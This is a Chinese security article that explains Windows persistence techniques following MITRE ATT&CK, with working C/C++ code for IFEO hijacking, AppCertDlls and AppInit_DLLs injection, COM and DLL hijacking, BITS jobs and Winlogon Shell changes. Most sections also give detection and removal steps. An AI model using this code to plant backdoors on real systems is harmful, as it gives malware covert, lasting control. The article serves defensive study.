ATT&CK之后门持久化 – 作者:alphalab

前言

在网络安全的世界里,白帽子与黑帽子之间无时无刻都在进行着正与邪的对抗,似乎永无休止。正所谓,道高一尺魔高一丈,巨大的利益驱使着个人或组织利用技术进行不法行为,花样层出不穷,令人防不胜防。

为了更好的应对这些攻击手段,就需要做到了解对手。俗话说:知己知彼,方能百战不殆。MITRE ATT&CK™就提供了全球范围的黑客的攻击手段和技术知识点,并把 APT 组织或恶意工具使用到的攻击手段一一对应,便于从根源上解决问题。许多公司和政府部门都会从中提取信息,针对遇到的威胁建立安全体系或模型。我们作为安全从业人员,如果能够掌握 MITRE ATT&CK™如此庞大的知识体系,对以后的工作和对抗来说,就像是拥有了一个武器库,所向披靡。

当然,这么一个庞大的体系是不可能一蹴而就的。我们可以依照 MITRE ATT&CK™的框架,先从持久化这一点开始。本文的主要内容是介绍 APT 攻击者在 Windows 系统下持久运行恶意代码的常用手段,其中的原理是什么,是怎样实现的,我们应该从哪些方面预防和检测。希望对大家有所帮助!

本文测试环境:

测试系统:Windows 7

编译器:Visual Stuidio 2008

以下是本文按照 MITRE ATT&CK 框架介绍的例子和其对应的介绍,我们深入分析了实现的原理,并且通过原理开发了相应的利用工具进行测试,测试呈现出的效果也都在下文一一展现。

标题 简介 权限 链接
辅助功能镜像劫持 在注册表中创建一个辅助功能的注册表项,并根据镜像劫持的原理添加键值,实现系统在未登录状态下,通过快捷键运行自己的程序。 管理员 https://attack.mitre.org/techniques/T1015/  
https://attack.mitre.org/techniques/T1183/
进程注入之 AppCertDlls 注册表项 编写了一个 dll,创建一个 AppCertDlls 注册表项,在默认键值中添加 dll 的路径,实现了对使用特定 API 进程的注入。 管理员 https://attack.mitre.org/techniques/T1182/
进程注入之 AppInit_DLLs 注册表项 在某个注册表项中修改 AppInit_DLLs 和 LoadAppInit_DLLs 键值,实现对加载 user32.dll 进程的注入。 管理员 https://attack.mitre.org/techniques/T1103/
BITS 的灵活应用 通过 bitsadmin 命令加入传输任务,利用 BITS 的特性,实现每次重启都会执行自己的程序。 用户 https://attack.mitre.org/techniques/T1197/
Com 组件劫持 编写了一个 dll,放入特定的路径,在注册表项中修改默认和 ThreadingModel 键值,实现打开计算器就会运行程序。 用户 https://attack.mitre.org/techniques/T1122/
DLL 劫持 编写了一个 lpk.dll,根据 Windows 的搜索模式放在指定目录中,修改注册表项,实现了开机启动执行 dll。 用户 https://attack.mitre.org/techniques/T1038/
Winlogon helper 编写了一个 dll,里面有一个导出函数,修改注册表项,实现用户登录时执行导出函数。 管理员 https://attack.mitre.org/techniques/T1004/
篡改服务进程 编写一个服务进程,修改服务的注册表项,实现了开机启动自己的服务进程。 管理员 https://attack.mitre.org/techniques/T1031/
替换屏幕保护程序 修改注册表项,写入程序路径,实现在触发屏保程序运行时我们的程序被执行 用户 https://attack.mitre.org/techniques/T1180/
创建新服务 编写具有添加服务和修改注册表功能的程序以及有一定格式的 dll,实现服务在后台稳定运行。 管理员 https://attack.mitre.org/techniques/T1050/
启动项 根据 Startup 目录和注册表 Run 键,创建快捷方式和修改注册表,实现开机自启动 用户 https://attack.mitre.org/techniques/T1060/
WMI 事件过滤 用 WMIC 工具注册 WMI 事件,实现开机 120 秒后触发设定的命令 管理员 https://attack.mitre.org/techniques/T1084/
Netsh Helper DLL 编写了一个 netsh helper dll,通过 netsh 命令加入了 helper 列表,并将 netsh 加入了计划任务,实现开机执行 DLL 管理员 https://attack.mitre.org/techniques/T1128/

辅助功能镜像劫持

代码及原理介绍

为了使电脑更易于使用和访问,Windows 添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。

一些常见的辅助功能如:

C:\Windows\System32\sethc.exe    粘滞键    快捷键:按五次 shift 键

C:\Windows\System32\utilman.exe     设置中心   快捷键:Windows+U 键

下图就是在未登陆时弹出的设置中心

在较早的 Windows 版本,只需要进行简单的二进制文件替换,比如,程序」C:\Windows\System32\utilman.exe」可以替换为「cmd.exe」。

对于在 Windows Vista 和 Windows Server 2008 及更高的版本中,替换的二进制文件受到了系统的保护,因此这里就需要另一项技术:映像劫持。

映像劫持,也被称为「IFEO」(Image File Execution Options)。当目标程序被映像劫持时,双击目标程序,系统会转而运行劫持程序,并不会运行目标程序。许多病毒会利用这一点来抑制杀毒软件的运行,并运行自己的程序。

造成映像劫持的罪魁祸首就是参数「Debugger」,它是 IFEO 里第一个被处理的参数,系统如果发现某个程序文件在 IFEO 列表中,它就会首先来读取 Debugger 参数,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理,而仅仅把用户试图启动的程序作为 Debugger 参数里指定的程序文件名的参数发送过去。

参数「Debugger」本来是为了让程序员能够通过双击程序文件直接进入调试器里调试自己的程序。现在却成了病毒的攻击手段。

简单操作就是修改注册表,在「HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option」中添加 utilman.exe 项,在此项中添加 debugger 键,键值为要启动的程序路径。

实现代码:

HKEY hKey;

const char path[] = "C:\\hello.exe";

RegCreateKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\WindowsNT\\CurrentVersion\\Image File Execution Options\\Utilman.exe", 0,NULL, 0, KEY_WRITE, NULL, &hKey,&dwDisposition);

RegSetValueExA(hKey, "Debugger", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)))

当然,我们自己的程序要放到相应的路径,关于资源文件的释放,下文会提到,这里暂且按下不讲。

运行效果图

当重新回到登录界面,按下快捷键时,结果如图:

注册表键值情况如下图:

检查及清除方法

检查「HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option」注册表路径中的程序名称

其它适用于的辅助功能还有:

屏幕键盘:C:\Windows\System32\osk.exe

放大镜:C:\Windows\System32\Magnify.exe

旁白:C:\Windows\System32\Narrator.exe

显示开关:C:\Windows\System32\DisplaySwitch.exe

应用程序开关:C:\Windows\System32\AtBroker.exe

现在大部分的杀毒软件都会监视注册表项来防御这种恶意行为。

进程注入之 AppCertDlls 注册表项

代码及原理介绍

如果有进程使用了 CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW 或 WinExec 函数,那么此进程会获取 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls 注册表项,此项下的 dll 都会加载到此进程。

Win7 版本下没有「AppCertDlls」项,需自己创建。

代码如下:

HKEY hKey;

const char path[] = "C:\\dll.dll";

RegCreateKeyExA(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);

RegSetValueExA(hKey, "Default", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

Dll 代码:

BOOL TestMutex()

{

    HANDLE hMutex = CreateMutexA(NULL, false, "myself");

    if (GetLastError() == ERROR_ALREADY_EXISTS)

    {

       CloseHandle(hMutex);

       return 0;

    }

    return 1;

}

BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)

{

    switch (ul_reason_for_call)

    {

    case DLL_PROCESS_ATTACH:

       if (TestMutex() == 0)

           return TRUE;

       MessageBoxA(0,"hello topsec","AppCert",0);

    case DLL_THREAD_ATTACH:

    case DLL_THREAD_DETACH:

    case DLL_PROCESS_DETACH:

        break;

    }

    return TRUE;

}

运行效果图

修改完注册表之后,写个测试小程序,用 CreateProcess 打开 notepad.exe

可以看到 test.exe 中已经加载 dll.dll,并弹出「hello topsec」。也能发现,在 svchost.exe 和 taskeng.exe 中也加载了 dll.dll。

检查及清除方法

1.监测 dll 的加载,特别是查找不是通常的 dll,或者不是正常加载的 dll。

2.监视 AppCertDLL 注册表值

3.监视和分析注册表编辑的 API 调用,如 RegCreateKeyEx 和 RegSetValueEx。

进程注入之 AppInit_DLLs 注册表项

代码及原理介绍

User32.dll 被加载到进程时,会获取 AppInit_DLLs 注册表项,若有值,则调用 LoadLibrary() API 加载用户 DLL。只会影响加载了 user32.dll 的进程。

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls

代码如下:

HKEY hKey;

DWORD dwDisposition;

const char path[] = "C:\\AppInit.dll";

DWORD dwData = 1;

RegCreateKeyExA(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);

RegSetValueExA(hKey, "AppInit_DLLs", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

RegSetValueExA(hKey, "LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD));

运行效果图

修改过后如下图所示:

运行 cmd.exe,就会发现 cmd.exe 已经加载指定 dll,并弹框。

此注册表项下的每个库都会加载到每个加载 User32.dll 的进程中。User32.dll 是一个非常常见的库,用于存储对话框等图形元素。恶意软件可以在 Appinit_Dlls 注册表项下插入其恶意库的位置,以使另一个进程加载其库。因此,当恶意软件修改此子键时,大多数进程将加载恶意库。

检查及清除方法

1.监测加载 User32.dll 的进程的 dll 的加载,特别是查找不是通常的 dll,或者不是正常加载的 dll。

2.监视 AppInit_DLLs 注册表值。

3.监视和分析注册表编辑的 API 调用,如 RegCreateKeyEx 和 RegSetValueEx。

BITS 的灵活应用

代码及原理介绍

BITS,后台智能传输服务,是一个 Windows 组件,它可以利用空闲的带宽在前台或后台异步传输文件,例如,当应用程序使用 80% 的可用带宽时,BITS 将只使用剩下的 20%。不影响其他网络应用程序的传输速度,并支持在重新启动计算机或重新建立网络连接之后自动恢复文件传输。

通常来说,BITS 会代表请求的应用程序异步完成传输,即应用程序请求 BITS 服务进行传输后,可以自由地去执行其他任务,乃至终止。只要网络已连接并且任务所有者已登录,则传输就会在后台进行。当任务所有者未登录时,BITS 任务不会进行。

BITS 采用队列管理文件传输。一个 BITS 会话是由一个应用程序创建一个任务而开始。一个任务就是一份容器,它有一个或多个要传输的文件。新创建的任务是空的,需要指定来源与目标 URI 来添加文件。下载任务可以包含任意多的文件,而上传任务中只能有一个文件。可以为各个文件设置属性。任务将继承创建它的应用程序的安全上下文。BITS 提供 API 接口来控制任务。通过编程可以来启动、停止、暂停、继续任务以及查询状态。在启动一个任务前,必须先设置它相对于传输队列中其他任务的优先级。默认情况下,所有任务均为正常优先级,而任务可以被设置为高、低或前台优先级。BITS 将优化后台传输被,根据可用的空闲网络带宽来增加或减少(抑制)传输速率。如果一个网络应用程序开始耗用更多带宽,BITS 将限制其传输速率以保证用户的交互式体验,但前台优先级的任务除外。

BITS 的调度采用分配给每个任务有限时间片的机制,一个任务被暂停时,另一个任务才有机会获得传输时机。较高优先级的任务将获得较多的时间片。BITS 采用循环制处理相同优先级的任务,并防止大的传输任务阻塞小的传输任务。

常用于 Windows Update 的安装更新。

BITSAdmin,BITS 管理工具,是管理 BITS 任务的命令行工具。

常用命令:

列出所有任务:bitsadmin /list /allusers /verbose

删除某个任务:bitsadmin /cancel <Job>

删除所有任务:bitsadmin /reset /allusers

完成任务:bitsadmin /complete <Job>

完整配置任务命令如下:

bitsadmin /create TopSec

bitsadmin /addfile TopSec https://gss3.bdstatic.com/7Po3dSag_xI4khGkpoWK1HF6hhy/baike/w%3D268%3Bg%3D0/sign=860ac8bc858ba61edf

eecf29790ff037/b3fb43166d224f4a179bbd650ef790529822d142.jpg  C:\TopSec.jpg

bitsadmin.exe /SetNotifyCmdLine TopSec "%COMSPEC%" "cmd.exe /c bitsadmin.exe /complete \"TopSec\" && start /B C:\TopSec.jpg"

bitsadmin /Resume TopSec

下载图片到指定文件夹,完成后直接打开图片。

如果图片可以打开,那么就说明可以打开任意二进制程序。而 BITS 又有可以中断后继续工作的特性,所以下面就是解决在系统重新启动后仍能自动运行的操作。

现在将完成参数「complete」去掉,为了节省时间,将下载的远程服务器文件换成本地文件。代码如下:

void BitsJob()

{

    char szSaveName[MAX_PATH] = "C:\\bitshello.exe";

    if (FALSE == m_Bits)

    {

// 释放资源

       BOOL bRet = FreeMyResource(IDR_MYRES22, "MYRES2", szSaveName);

       WinExec("bitsadmin /create TopSec", 0);

       WinExec("bitsadmin /addfile TopSec \"C:\\Windows\\system32\\cmd.exe\" \"C:\\cmd.exe\"", 0);

       WinExec("bitsadmin.exe /SetNotifyCmdLine TopSec \"C:\\Windows\\system32\\cmd.exe\" \"cmd.exe /c C:\\bitshello.exe\"", 0);

       WinExec("bitsadmin /Resume TopSec", 0);

       m_Bits = TRUE;

    }

    else

    {

       WinExec("bitsadmin /complete TopSec", 0);

       remove(szSaveName);

       m_Bits = FALSE;

    }

    UpdateData(FALSE);

}

解除未完成状态,需要命令「bitsadmin /complete TopSec」。

运行效果图

运行之后,拷贝到 C 盘的 cmd.exe 没有出现,却依然弹出对话框。

查看 BITS 任务列表,发现任务依然存在

重启计算机,发现弹出对话框,BITS 任务依然存在。

执行命令「bitsadmin /complete TopSec」,出现拷贝到 C 盘的程序 cmd.exe, 任务完成。

检查及清除方法

1.BITS 服务的运行状态可以使用 SC 查询程序来监视(命令:sc query bits),任务列表由 BITSAdmin 来查询。

2.监控和分析由 BITS 生成的网络活动。

Com 组件劫持

代码及原理介绍

COM 是 Component Object Model(组件对象模型)的缩写,COM 组件由 DLL 和 EXE 形式发布的可执行代码所组成。每个 COM 组件都有一个 CLSID,这个 CLSID 是注册的时候写进注册表的,可以把这个 CLSID 理解为这个组件最终可以实例化的子类的一个 ID。这样就可以通过查询注册表中的 CLSID 来找到 COM 组件所在的 dll 的名称。

所以要想 COM 劫持,必须精心挑选 CLSID,尽量选择应用范围广的 CLSID。这里,我们选择的 CLSID 为:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},来实现对 CAccPropServicesClass 和 MMDeviceEnumerator 的劫持。系统很多正常程序启动时需要调用这两个实例。例如计算器。

Dll 存放的位置://%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C4579291692E}

接下来就是修改注册表,在指定路径添加文件,具体代码如下:

void CPersistenceDlg::comHijacking()

{

    HKEY hKey;

    DWORD dwDisposition;

   //%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C45792916//92E}

    char system1[] = "C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\TopSec.dll";

    char system2[] = "Apartment";

    string defaultPath = "C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";

    string szSaveName = "C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\TopSec.dll";

    if (FALSE == m_Com)

    {

       //string folderPath = defaultPath + "\\testFolder";

       string command;

       command = "mkdir -p " + defaultPath;

       system(command.c_str());

 // 释放资源

       BOOL bRet = FreeMyResource(IDR_MYRES23, "MYRES2", system1);

       if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,

           "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

       {

           ShowError("RegCreateKeyExA");

           return;

       }

       if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1))))

       {

           ShowError("RegSetValueEx");

           return;

       }

       if (ERROR_SUCCESS != RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2))))

       {

           ShowError("RegSetValueEx");

           return;

       }

       ::MessageBoxA(NULL, "comHijacking OK!", "OK", MB_OK);

       m_Com = TRUE;

    }

    else

    {

       if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,

           "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

       {

           ShowError("RegCreateKeyExA");

           return;

       }

       if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL))

       {

           ShowError("RegDeleteValueA");

           return;

       }

       if (ERROR_SUCCESS != RegDeleteValueA(hKey, "ThreadingModel"))

       {

           ShowError("RegDeleteValueA");

           return;

       }

       remove(szSaveName.c_str());

       remove(defaultPath.c_str());

       ::MessageBoxA(NULL, "Delete comHijacking OK!", "OK", MB_OK);

       m_Com = FALSE;

    }

    UpdateData(FALSE);

}

运行效果图

运行后,文件和注册表如下:

运行计算器,弹出对话框:

检查及清除方法

1.由于 COM 对象是操作系统和已安装软件的合法部分,因此直接阻止对 COM 对象的更改可能会对正常的功能产生副作用。相比之下,使用白名单识别潜在的病毒会更有效。

2.现有 COM 对象的注册表项可能很少发生更改。当具有已知路径和二进制的条目被替换或更改为异常值以指向新位置中的未知二进制时,它可能是可疑的行为,应该进行调查。同样,如果收集和分析程序 DLL 加载,任何与 COM 对象注册表修改相关的异常 DLL 加载都可能表明已执行 COM 劫持。

DLL 劫持

代码及原理介绍

众所周知,Windows 有资源共享机制,当对象想要访问此共享功能时,它会将适当的 DLL 加载到其内存空间中。但是,这些可执行文件并不总是知道 DLL 在文件系统中的确切位置。为了解决这个问题,Windows 实现了不同目录的搜索顺序,其中可以找到这些 DLL。

系统使用 DLL 搜索顺序取决于是否启用安全 DLL 搜索模式。

WindowsXP 默认情况下禁用安全 DLL 搜索模式。之后默认启用安全 DLL 搜索模式

若要使用此功能,需创建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 注册表值,0 为禁止,1 为启用。

SafeDLLSearchMode 启用后,搜索顺序如下:

从其中加载应用程序的目录、系统目录。

使用 GetSystemDirectory 函数获取此目录的路径。

16 位系统目录。没有获取此目录的路径的函数,但会搜索它。

Windows 目录。使用 GetWindowsDirectory 函数获取此目录。

当前目录。

PATH 环境变量中列出的目录。

SafeDLLSearchMode 禁用后,搜索顺序如下:

从其中加载应用程序的目录

当前目录

系统目录。使用 GetSystemDirectory 函数获取此目录的路径。

16 位系统目录。没有获取此目录的路径的函数,但会搜索它。

Windows 目录。使用 GetWindowsDirectory 函数获取此目录。

PATH 环境变量中列出的目录。

DLL 劫持利用搜索顺序来加载恶意 DLL 以代替合法 DLL。如果应用程序使用 Windows 的 DLL 搜索来查找 DLL,且攻击者可以将同名 DLL 的顺序置于比合法 DLL 更高的位置,则应用程序将加载恶意 DLL。

可以用来劫持系统程序,也可以劫持用户程序。劫持系统程序具有兼容性,劫持用户程序则有针对性。结合本文的主题,这里选择劫持系统程序。

可以劫持的 dll 有:

lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll

以 lpk.dll 为列,explorer 桌面程序的启动需要加载 lpk.dll,当进入桌面后 lpk.dll 便被加载了,劫持 lpk.dll 之后,每次启动系统,自己的 lpk.dll 都会被加载,实现了持久化攻击的效果。

下面就是要构建一个 lpk.dll:

1.将系统下的 lpk.dll 导入 IDA,查看导出表的函数

2.构造一个和 lpk.dll 一样的导出表

3.加载系统目录下的 lpk.DLL;

4.将导出函数转发到系统目录下的 LPK.DLL 上

5.在初始化函数中加入我们要执行的代码。

具体 dll 代码如下:

#include "pch.h"

#include <windows.h>

#include <process.h>

// 导出函数

#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")

#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")

#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")

#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")

#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")

#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")

#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")

#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")

#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")

#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")

// 宏定义

#define EXTERNC extern "C"

#define NAKED __declspec(naked)

#define EXPORT __declspec(dllexport)

#define ALCPP EXPORT NAKED

#define ALSTD EXTERNC EXPORT NAKED void __stdcall

#define ALCFAST EXTERNC EXPORT NAKED void __fastcall

#define ALCDECL EXTERNC NAKED void __cdecl

//LpkEditControl 导出的是数组,不是单一的函数(by Backer)

EXTERNC void __cdecl AheadLib_LpkEditControl(void);

EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = { AheadLib_LpkEditControl };

//添加全局变量

BOOL g_bInited = FALSE;

// AheadLib 命名空间

namespace AheadLib

{

    HMODULE m_hModule = NULL; 

// 原始模块句柄

// 加载原始模块

    BOOL WINAPI Load()

    {

       TCHAR tzPath[MAX_PATH];

       TCHAR tzTemp[MAX_PATH * 2];

       GetSystemDirectory(tzPath, MAX_PATH);

       lstrcat(tzPath, TEXT("\\lpk.dll"));

       OutputDebugString(tzPath);

       m_hModule = LoadLibrary(tzPath);

       if (m_hModule == NULL)

       {

           wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath);

           MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);

       };

       return (m_hModule != NULL);

    }

// 释放原始模块

    VOID WINAPI Free()

    {

       if (m_hModule)

       {

           FreeLibrary(m_hModule);

       }

    }

// 获取原始函数地址

    FARPROC WINAPI GetAddress(PCSTR pszProcName)

    {

       FARPROC fpAddress;

       CHAR szProcName[16];

       TCHAR tzTemp[MAX_PATH];

       fpAddress = GetProcAddress(m_hModule, pszProcName);

       if (fpAddress == NULL)

       {

           if (HIWORD(pszProcName) == 0)

           {

              wsprintfA(szProcName, "%p", pszProcName);

              pszProcName = szProcName;

           }

           wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName);

           MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);

           ExitProcess(-2);

       }

       return fpAddress;

    }

}

using namespace AheadLib;

//函数声明

void WINAPIV Init(LPVOID pParam);

void WINAPIV Init(LPVOID pParam)

{

    MessageBoxA(0, "Hello Topsec", "Hello Topsec", 0);//在这里添加 DLL 加载代码

    return;

}

// 入口函数

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)

{

    if (dwReason == DLL_PROCESS_ATTACH)

    {

       DisableThreadLibraryCalls(hModule);

       if (g_bInited == FALSE) {

           Load();

           g_bInited = TRUE;

       }

//LpkEditControl 这个数组有 14 个成员,必须将其复制过来

       memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52);

       _beginthread(Init, NULL, NULL);

    }

    else if (dwReason == DLL_PROCESS_DETACH)

    {

       Free();

    }

    return TRUE;

}

// 导出函数

ALCDECL AheadLib_LpkInitialize(void)

{

    if (g_bInited == FALSE) {

       Load();

       g_bInited = TRUE;

    }

    GetAddress("LpkInitialize");

    __asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkTabbedTextOut(void)

{

    GetAddress("LpkTabbedTextOut");

    __asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkDllInitialize(void)

{

    GetAddress("LpkDllInitialize");

    __asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkDrawTextEx(void)

{

    GetAddress("LpkDrawTextEx");

    __asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkEditControl(void)

{

    GetAddress("LpkEditControl");

    __asm jmp DWORD ptr[EAX];//这里的 LpkEditControl 是数组,eax 存的是函数指针

}

// 导出函数

ALCDECL AheadLib_LpkExtTextOut(void)

{

    GetAddress("LpkExtTextOut");

    __asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkGetCharacterPlacement(void)

{

    GetAddress("LpkGetCharacterPlacement");

    __asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkGetTextExtentExPoint(void)

{

    GetAddress("LpkGetTextExtentExPoint");

    __asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkPSMTextOut(void)

{

    GetAddress("LpkPSMTextOut");

    __asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkUseGDIWidthCache(void)

{

    GetAddress("LpkUseGDIWidthCache");

    __asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_ftsWordBreak(void)

{

    GetAddress("ftsWordBreak");

    __asm JMP EAX;

}

最后修改注册表键值 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager ExcludeFromKnownDlls,把 lpk.dll 加进去。

HKEY hKey;

DWORD dwDisposition;

const char path[] = "lpk.dll";

RegCreateKeyExA(HKEY_LOCAL_MACHINE," System \\ CurrentControlSet \\ Control\\ SessionManager ", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition));

RegSetValueExA(hKey, NULL, 0, REG_MULTI_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

运行效果图

将生成的 lpk.dll 放到 c:/Windows 目录

重启系统,自动弹出对话框

查找 explorer,加载的正是我们的 lpk.dll

注册表修改如下

检查及清除方法

1.启用安全 DLL 搜索模式,与此相关的 Windows 注册表键位于 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode

2.监视加载到进程中的 DLL,并检测具有相同文件名但路径异常的 DLL。

winlogon helper

原理及代码介绍

Winlogon.exe 进程是 Windows 操作系统中非常重要的一部分,Winlogon 用于执行与 Windows 登录过程相关的各种关键任务,例如,当在用户登录时,Winlogon 进程负责将用户配置文件加载到注册表中。

Winlogon 进程会 HOOK 系统函数监控键盘是否按下 Ctrl + Alt + Delete,这被称为「Secure Attention Sequence」,这就是为什么一些系统会配置为要求您在登录前按 Ctrl + Alt + Delete。这种键盘快捷键的组合被 Winlogon.exe 捕获,确保您安全登录桌面,其他程序无法监控您正在键入的密码或模拟登录对话框。Windows 登录应用程序还会捕获用户的键盘和鼠标活动,在一段时间未发现键盘和鼠标活动时启动屏幕保护程序。

总之,Winlogon 是登录过程的关键部分,需要持续在后台运行。如果您有兴趣,Microsoft 还提供 Winlogon 进程的更详细的技术说明,在此不再赘述。

在注册表项 HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\和 HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\用于管理支持 Winlogon 的帮助程序和扩展功能,对这些注册表项的恶意修改可能导致 Winlogon 加载和执行恶意 DLL 或可执行文件。已知以下子项可能容易被恶意代码所利用:

Winlogon\Notify – 指向处理 Winlogon 事件的通知包 DLL

Winlogon\Userinit – 指向 userinit.exe,即用户登录时执行的用户初始化程序

Winlogon\Shell – 指向 explorer.exe,即用户登录时执行的系统 shell

攻击者可以利用这些功能重复执行恶意代码建立持久后门,如下的代码演示了如何通过在 Winlogon\Shell 子键添加恶意程序路径实现驻留系统的目的。

BOOL add_winlogon_helper()

{

    BOOL ret = FALSE;

    LONG rcode = NULL;

    DWORD key_value_type;

    BYTE shell_value_buffer[MAX_PATH * 2];

    DWORD value_buffer_size = sizeof(shell_value_buffer) ;

    HKEY winlogon_key = NULL;

    DWORD set_value_size;

    BYTE path[MAX_PATH];

    rcode = RegOpenKeyEx(HKEY_CURRENT_USER, _TEXT("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"),

            NULL, KEY_ALL_ACCESS, &winlogon_key);

    if (rcode != ERROR_SUCCESS)

    {

        goto ERROR_EXIT;

    }

    rcode = RegQueryValueEx(winlogon_key,_TEXT("shell"), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);

    if (rcode != ERROR_SUCCESS)

    {

//找不到指定的键值

        if (rcode == 0x2)

        {

 //写入 explorer.exe 和 自定义的路径

            lstrcpy((TCHAR*)path, _TEXT("explorer.exe, rundll32.exe \"C:\\topsec.dll\" RunProc"));

            set_value_size = lstrlen((TCHAR*)path) * sizeof(TCHAR) + sizeof(TCHAR);

            rcode = RegSetValueEx(winlogon_key, _TEXT("shell"), NULL, REG_SZ, path, set_value_size);

            if (rcode != ERROR_SUCCESS)

            {

                goto ERROR_EXIT;

            }

        }

        else

        {

            goto ERROR_EXIT;

        }

    }

    else

    {       

//原先已存在,追加写入

        lstrcat((TCHAR*)shell_value_buffer, _TEXT(",rundll32.exe \"C:\\topsec.dll\" RunProc"));

        set_value_size = lstrlen((TCHAR*)shell_value_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

        rcode = RegSetValueEx(winlogon_key, _TEXT("shell"), NULL, REG_SZ, shell_value_buffer, set_value_size);

        if (rcode != ERROR_SUCCESS)

        {

            goto ERROR_EXIT;

        }

    }

    ret = TRUE;

ERROR_EXIT:

    if (winlogon_key != NULL)

    {

        RegCloseKey(winlogon_key);

        winlogon_key = NULL;

    }

    return ret;

}

其中 topsec.dll 的导出函数 RunProc 代码如下:

extern "C" __declspec(dllexport) void  RunProc(HWND hwnd,HINSTANCE hinst, LPTSTR lpCmdLine,int nCmdShow) 

{

while (TRUE)

{

OutputDebugString(_TEXT("Hello Topsec with Rundll32!!!"));

Sleep(1000);

}

}

运行效果图

当该用户下次登录的时候 Winlogon 会带动 Rundll32 程序,通过命令行参数加载预设的 DLL 文件执行其导出函数,如下图所示,目标稳定运行中:

